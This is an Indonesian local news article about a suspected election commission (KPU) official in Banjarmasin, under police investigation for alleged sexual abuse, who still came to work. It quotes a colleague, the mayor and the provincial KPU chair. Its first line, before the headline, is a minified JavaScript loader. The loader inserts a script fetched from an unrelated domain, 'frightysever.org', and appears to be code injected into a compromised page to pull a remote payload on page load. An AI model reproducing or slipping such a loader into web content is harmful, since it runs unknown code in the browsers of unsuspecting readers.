(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jadi Sorotan, Pejabat Terduga Kasus Pencabulan Masih Ngantor di KPU


BANJARMASIN, Kasus dugaan pelecehan seksual yang melibatkan terduga pejabat penyelenggara pemilu di Kota Banjarmasin, tengah ditangani oleh Polres Banjarbaru.

Namun santer terdengar kabar bahwa terduga pejabat yang terlibat pelecehan seksual ini tetap berkantor seperti biasa.

Informasi yang didapat, oknum pejabat ini masuk ke kantor pukul 14:00 Wita siang dan sempat bertemu dengan rekan kerjanya. Namun tak berselang lama, langsung meninggalkan kantornya.

“Beliau tadi ada datang. Tetapi tak lama sekitar 1 jam lebih langsung pulang,” kata rekan kerja terduga pelaku.

Memang, jam kerja komisioner KPU tidak seperti ASN pada umumnya. Jika memiliki kesibukan di luar kantor, maka tak perlu datang ke kantor dan berkabar dengan pegawai kantor.

Kendati begitu, rekan oknum ini mengatakan untuk menunggu keterangan resmi dari kepolisian. Dirinya sendiri tidak berani berspekulasi macam-macam.

“Informasinya masih simpang siur. Jadi saya tak berani berkomentar kalau (informasi) itu tidak benar,” tandasnya.

Baca: BREAKING NEWS. Cabuli Anak Laki-laki, Pelaku Pejabat Publik?

 

Kasus dugaan pelecehan seksual yang melibatkan terduga pejabat penyelenggara pemilu ini memang menggegerkan banyak pihak. Terutama Walikota Banjarmasin H Ibnu Sina.

“Kami memang mendapat informasi itu. Tapi kami belum bisa mengkonfirmasi,” kata Ibnu di Banjarmasin, Selasa (7/1) siang.

 

Baca: Pejabat Penyelenggara Pemilu Terlibat Pencabulan?, Ini Kata Walikota Banjarmasin

 

Tak hanya itu, Ketua KPU Provinsi Kalsel Sarmuji pun merasa prihatin dengan adanya kasus dugaan pelecehan seksual yang disinyalir menyeret pejabat penyelenggara pemilu itu.

“Kami terus terang prihatin dengan kejadian ini,” tambah Sarmuji.

 

Baca: Pejabat Diduga Terlibat Pencabulan di KPU Banjarmasin?

Sarmuji menjelaskan, jika memang yang bersangkutan benar-benar terbukti bersalah, KPU Kalsel tidak segan-segan akan memberhentikannya dan mengganti pejabat penyelenggara pemilu tersebut. “Kalau inkrah, ya kita ganti. Tapi proses sidang kan panjang,” sebutnya. (fikri)

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

12 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

15 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

19 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

19 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

20 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

21 jam ago

This website uses cookies.